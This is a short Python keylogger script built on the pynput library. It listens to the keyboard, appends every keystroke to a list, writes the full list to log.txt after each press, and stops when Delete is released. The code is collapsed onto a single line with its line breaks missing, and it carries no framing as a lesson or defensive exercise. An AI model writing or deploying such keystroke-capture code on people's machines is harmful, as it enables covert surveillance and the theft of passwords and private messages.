import pynput from pynput.keyboard import Key, Listener keys = [] def on_press(key): keys.append(key) write_file(keys) def write_file(keys): with open('log.txt', 'w') as f: for key in keys: #removing '' k = str(key).replace("'", "") f.write(k) #explicitly adding a space after every keystroke for readability f.write(' ') def on_release(key): if key == Key.delete: return False with Listener(on_press = on_press, on_release = on_release) as listener: listener.join()